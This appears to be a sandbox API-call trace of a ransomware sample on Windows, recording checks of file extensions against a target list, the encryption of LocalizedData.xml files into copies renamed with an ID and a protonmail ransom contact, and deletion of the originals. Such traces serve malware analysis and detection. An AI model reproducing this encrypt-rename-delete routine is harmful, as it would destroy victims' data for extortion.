	[0070.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.949] lstrlenW (lpString=".1cd") returned 4
	[0070.949] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.949] lstrlenW (lpString=".jpg") returned 4
	[0070.949] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.972] lstrlenW (lpString=".doc") returned 4
	[0070.972] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.972] lstrlenW (lpString=".docx") returned 5
	[0070.972] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.972] lstrlenW (lpString=".pdf") returned 4
	[0070.972] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.972] lstrlenW (lpString=".xls") returned 4
	[0070.972] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.972] lstrlenW (lpString=".xlsx") returned 5
	[0070.973] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.973] lstrlenW (lpString=".ppt") returned 4
	[0070.973] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.973] lstrlenW (lpString=".zip") returned 4
	[0070.973] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.973] lstrlenW (lpString=".rar") returned 4
	[0070.973] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.973] lstrlenW (lpString=".bz2") returned 4
	[0070.973] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.973] lstrlenW (lpString=".7z") returned 3
	[0070.973] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.973] lstrlenW (lpString=".dbf") returned 4
	[0070.973] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.973] lstrlenW (lpString=".1cd") returned 4
	[0070.973] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.973] lstrlenW (lpString=".jpg") returned 4
	[0070.973] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.973] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.973] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.180] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=79296) returned 1
	[0071.180] CloseHandle (hObject=0x330) returned 1
	[0071.180] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80
	[0071.180] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.180] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.180] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.180] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.181] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0071.319] GetLastError () returned 0x0
	[0071.319] ReadFile (in: hFile=0x330, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x135c0, lpOverlapped=0x0) returned 1
	[0071.364] WriteFile (in: hFile=0x2f4, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x135d0, lpOverlapped=0x0) returned 1
	[0071.366] ReadFile (in: hFile=0x330, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.366] WriteFile (in: hFile=0x2f4, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0071.366] SetEndOfFile (hFile=0x2f4) returned 1
	[0071.366] CloseHandle (hObject=0x2f4) returned 1
	[0071.370] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.370] SetEndOfFile (hFile=0x330) returned 1
	[0071.371] CloseHandle (hObject=0x330) returned 1
	[0071.371] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.371] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1
	[0071.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.372] lstrlenW (lpString=".doc") returned 4
	[0071.372] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.372] lstrlenW (lpString=".docx") returned 5
	[0071.372] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.372] lstrlenW (lpString=".pdf") returned 4
	[0071.372] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.372] lstrlenW (lpString=".xls") returned 4
	[0071.372] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.372] lstrlenW (lpString=".xlsx") returned 5
	[0071.372] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.372] lstrlenW (lpString=".ppt") returned 4
	[0071.372] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.372] lstrlenW (lpString=".zip") returned 4
	[0071.372] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.372] lstrlenW (lpString=".rar") returned 4
	[0071.372] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.372] lstrlenW (lpString=".bz2") returned 4
	[0071.372] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.372] lstrlenW (lpString=".7z") returned 3
	[0071.372] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.372] lstrlenW (lpString=".dbf") returned 4
	[0071.372] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.372] lstrlenW (lpString=".1cd") returned 4
	[0071.372] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.372] lstrlenW (lpString=".jpg") returned 4
	[0071.372] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.372] lstrlenW (lpString=".doc") returned 4
	[0071.373] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.373] lstrlenW (lpString=".docx") returned 5
	[0071.373] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.373] lstrlenW (lpString=".pdf") returned 4
	[0071.373] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.373] lstrlenW (lpString=".xls") returned 4
	[0071.373] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.373] lstrlenW (lpString=".xlsx") returned 5
	[0071.373] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.373] lstrlenW (lpString=".ppt") returned 4
	[0071.373] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.373] lstrlenW (lpString=".zip") returned 4
	[0071.373] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.373] lstrlenW (lpString=".rar") returned 4
	[0071.373] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.373] lstrlenW (lpString=".bz2") returned 4
	[0071.373] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.373] lstrlenW (lpString=".7z") returned 3
	[0071.373] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.373] lstrlenW (lpString=".dbf") returned 4
	[0071.373] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.373] lstrlenW (lpString=".1cd") returned 4
	[0071.373] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.373] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0071.373] lstrlenW (lpString=".jpg") returned 4
	[0071.373] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.373] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0071.373] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0071.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.273] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=76818) returned 1
	[0072.273] CloseHandle (hObject=0x2f4) returned 1
	[0072.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80
	[0072.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.273] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.273] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0072.273] GetLastError () returned 0x0
	[0072.273] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x12c12, lpOverlapped=0x0) returned 1
	[0072.277] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12c20, lpOverlapped=0x0) returned 1
	[0072.279] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.279] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0072.279] SetEndOfFile (hFile=0x360) returned 1
	[0072.279] CloseHandle (hObject=0x360) returned 1
	[0072.285] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.285] SetEndOfFile (hFile=0x2f4) returned 1
	[0072.286] CloseHandle (hObject=0x2f4) returned 1
	[0072.286] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.286] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1
	[0072.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.287] lstrlenW (lpString=".doc") returned 4
	[0072.287] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.287] lstrlenW (lpString=".docx") returned 5
	[0072.287] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.287] lstrlenW (lpString=".pdf") returned 4
	[0072.287] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.287] lstrlenW (lpString=".xls") returned 4
	[0072.287] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.287] lstrlenW (lpString=".xlsx") returned 5
	[0072.287] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.287] lstrlenW (lpString=".ppt") returned 4
	[0072.287] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.287] lstrlenW (lpString=".zip") returned 4
	[0072.287] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.287] lstrlenW (lpString=".rar") returned 4
	[0072.287] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.287] lstrlenW (lpString=".bz2") returned 4
	[0072.287] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.287] lstrlenW (lpString=".7z") returned 3
	[0072.287] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.287] lstrlenW (lpString=".dbf") returned 4
	[0072.287] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.287] lstrlenW (lpString=".1cd") returned 4
	[0072.288] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.288] lstrlenW (lpString=".jpg") returned 4
	[0072.288] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.288] lstrlenW (lpString=".doc") returned 4
	[0072.288] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.288] lstrlenW (lpString=".docx") returned 5
	[0072.288] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.288] lstrlenW (lpString=".pdf") returned 4
	[0072.288] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.288] lstrlenW (lpString=".xls") returned 4
	[0072.288] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.288] lstrlenW (lpString=".xlsx") returned 5
	[0072.288] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.288] lstrlenW (lpString=".ppt") returned 4
	[0072.288] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.288] lstrlenW (lpString=".zip") returned 4
	[0072.288] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.288] lstrlenW (lpString=".rar") returned 4
	[0072.288] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.288] lstrlenW (lpString=".bz2") returned 4
	[0072.288] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.288] lstrlenW (lpString=".7z") returned 3
	[0072.288] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.288] lstrlenW (lpString=".dbf") returned 4
	[0072.288] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.288] lstrlenW (lpString=".1cd") returned 4
	[0072.289] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44
	[0072.289] lstrlenW (lpString=".jpg") returned 4
	[0072.289] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.289] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.289] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0072.289] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.289] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=79996) returned 1
	[0072.289] CloseHandle (hObject=0x2f4) returned 1
	[0072.289] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80
	[0072.289] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.289] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.289] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.290] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.290] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0072.290] GetLastError () returned 0x0
	[0072.290] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1387c, lpOverlapped=0x0) returned 1
	[0072.293] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13880, lpOverlapped=0x0) returned 1
	[0072.296] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.296] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0072.296] SetEndOfFile (hFile=0x360) returned 1
	[0072.296] CloseHandle (hObject=0x360) returned 1
	[0072.298] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.299] SetEndOfFile (hFile=0x2f4) returned 1
	[0072.300] CloseHandle (hObject=0x2f4) returned 1
	[0072.300] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.300] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1
	[0072.301] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.301] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.301] lstrlenW (lpString=".doc") returned 4
	[0072.301] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.301] lstrlenW (lpString=".docx") returned 5
	[0072.301] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.301] lstrlenW (lpString=".pdf") returned 4
	[0072.301] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.301] lstrlenW (lpString=".xls") returned 4
	[0072.301] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.301] lstrlenW (lpString=".xlsx") returned 5
	[0072.301] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.301] lstrlenW (lpString=".ppt") returned 4
	[0072.301] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.301] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.301] lstrlenW (lpString=".zip") returned 4
	[0072.301] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.301] lstrlenW (lpString=".rar") returned 4
	[0072.301] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.301] lstrlenW (lpString=".bz2") returned 4
	[0072.301] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.301] lstrlenW (lpString=".7z") returned 3
	[0072.301] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.301] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.301] lstrlenW (lpString=".dbf") returned 4
	[0072.301] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.301] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.301] lstrlenW (lpString=".1cd") returned 4
	[0072.301] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.302] lstrlenW (lpString=".jpg") returned 4
	[0072.302] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.302] lstrlenW (lpString=".doc") returned 4
	[0072.302] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.302] lstrlenW (lpString=".docx") returned 5
	[0072.302] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0072.302] lstrlenW (lpString=".pdf") returned 4
	[0072.302] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.302] lstrlenW (lpString=".xls") returned 4
	[0072.302] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.302] lstrlenW (lpString=".xlsx") returned 5
	[0072.302] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0072.302] lstrlenW (lpString=".ppt") returned 4
	[0072.302] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0072.302] lstrlenW (lpString=".zip") returned 4
	[0072.302] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.302] lstrlenW (lpString=".rar") returned 4
	[0072.302] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.302] lstrlenW (lpString=".bz2") returned 4
	[0072.302] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.302] lstrlenW (lpString=".7z") returned 3
	[0072.302] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
